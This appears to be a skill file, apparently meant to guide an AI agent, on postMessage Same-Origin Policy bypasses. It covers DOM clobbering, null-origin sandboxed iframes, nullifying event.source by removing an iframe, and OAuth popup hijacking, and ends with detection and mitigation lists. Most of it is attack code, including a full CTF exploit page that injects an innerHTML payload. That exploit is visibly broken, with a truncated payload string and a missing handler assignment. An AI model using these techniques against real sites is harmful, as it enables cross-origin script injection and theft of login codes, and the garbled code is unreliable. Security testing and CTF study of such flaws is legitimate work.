PostMessage SOP Bypass Techniques
This skill covers advanced techniques for bypassing Same-Origin Policy restrictions using postMessage vulnerabilities, DOM clobbering, and null-origin iframe exploitation.
When to Use This Skill
Use this skill when:
- Analyzing
postMessageevent handlers with weak validation - CTF challenges involving cross-origin communication
- Security assessments of applications using
window.postMessage() - Encountering
event.sourceorevent.originchecks that can be bypassed - OAuth popup flows with iframe-based openers
- Applications using
innerHTMLsinks with postMessage data
Core Attack Primitives
1. DOM Clobbering to Nullify Window Properties
Goal: Make window.calc.contentWindow evaluate to undefined by clobbering document.getElementById.
Technique:
<!-- Clobber document.getElementById -->
<img name="getElementById" />
<div id="calc"></div>
Effect: document.getElementById("calc") returns the <img> element instead of the <div>, and window.calc becomes undefined.
Why it works: The Sanitizer API is not configured to protect against DOM clobbering by default. Elements with name attributes can clobber global properties.
2. Null-Origin via Iframe Removal
Goal: Make event.source evaluate to null in the postMessage handler.
Technique:
let iframe = document.createElement("iframe");
document.body.appendChild(iframe);
// Send message from iframe
iframe.contentWindow.eval(`
window.parent.target.postMessage("payload", "*");
`);
// Immediately remove iframe - event.source becomes null
document.body.removeChild(iframe);
Effect: When the iframe is removed before the message handler executes, event.source is null.
Why it works: The event.source reference points to the iframe's window. If the iframe is removed, the reference becomes null. Combined with loose equality (==), null == undefined evaluates to true.
3. Null-Origin via Sandboxed Iframes
Goal: Create a stable null-origin environment for triggering errors in document.cookie access.
Technique:
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts allow-popups'; // Note: NO allow-same-origin
iframe.srcdoc = `<script>
// This code runs in null origin
const token = getCookie(); // Triggers error, returns undefined
</script>`;
document.body.appendChild(iframe);
Effect: Any access to document.cookie in a null-origin page throws an error, making dependent variables undefined.
Why it works: Sandboxed iframes without allow-same-origin have origin === "null". Accessing document.cookie from null origin is blocked by the browser.
4. OAuth Popup Hijacking (2025 Pattern)
Goal: Bypass origin checks in OAuth callback handlers.
Technique:
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
</script>`;
document.body.appendChild(frame);
Effect: Both the iframe and the popup have origin === "null", so handlers checking if (origin !== window.origin) fail silently.
Why it works: The popup inherits the null origin from its opener (the sandboxed iframe). Victim code comparing origins sees "null" === "null" and accepts the message.
5. X-Frame-Options Bypass via window.open
Goal: Interact with pages that set X-Frame-Options: DENY.
Technique:
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Effect: Can post messages to pages that would normally block iframe embedding.
Why it works: window.open() creates a popup window, not an iframe. The iframe is only used as a message relay.
Complete Attack Pattern
Obligatory Calc CTF Solution
This demonstrates combining all primitives to bypass:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
// Vulnerable sink
document.getElementById('result').innerHTML = e.data.result;
}
Full exploit:
<html>
<body>
<script>
// Step 1: Clobber document.getElementById via URL parameter
open(
'https://target/?expr="<form name=getElementById id=calc>"'
);
function start() {
var ifr = document.createElement("iframe");
// Step 2: Create sandboxed iframe with null origin
ifr.sandbox = "allow-scripts allow-popups";
ifr.srcdoc = `<script>(${hack})()<\/script>`;
document.body.appendChild(ifr);
function hack() {
var win = open("https://target/");
setTimeout(() => {
parent.postMessage("remove", "*");
// Step 3: Send payload with token=null
// e.source will be null (iframe removed)
// window.token will be undefined (cookie access error)
// null == undefined is true
win.postMessage(
{
token: null,
result: "<img src=x
},
"*"
);
}, 1000);
}
// Step 4: Remove iframe to nullify event.source
=> {
if (e.data == "remove") document.body.innerHTML = "";
};
}
setTimeout(start, 1000);
</script>
</body>
</html>
Detection & Analysis Checklist
When analyzing postMessage handlers, check for:
- Loose equality checks:
==instead of===allowsnull == undefined - Source validation: Does the code check
event.source? Can it be nullified? - Origin validation: Does the code check
event.origin? Can it be made null? - Cookie access in handlers: Does
window.tokenor similar depend ondocument.cookie? - innerHTML sinks: Is postMessage data written to the DOM without sanitization?
- Iframe lifecycle: Are iframes removed after sending messages?
- Sandbox attributes: Do iframes use
allow-scripts allow-popupswithoutallow-same-origin?
Mitigation Recommendations
- Use strict equality:
===instead of==for all comparisons - Validate origin explicitly: Check against a whitelist of allowed origins
- Never trust event.source: It can be nullified through iframe removal
- Sanitize all postMessage data: Treat it as untrusted input
- Use CSP: Content Security Policy can limit script execution
- Avoid DOM clobbering: Don't use
nameattributes that conflict with globals - Check for null origin:
if (event.origin === 'null') return;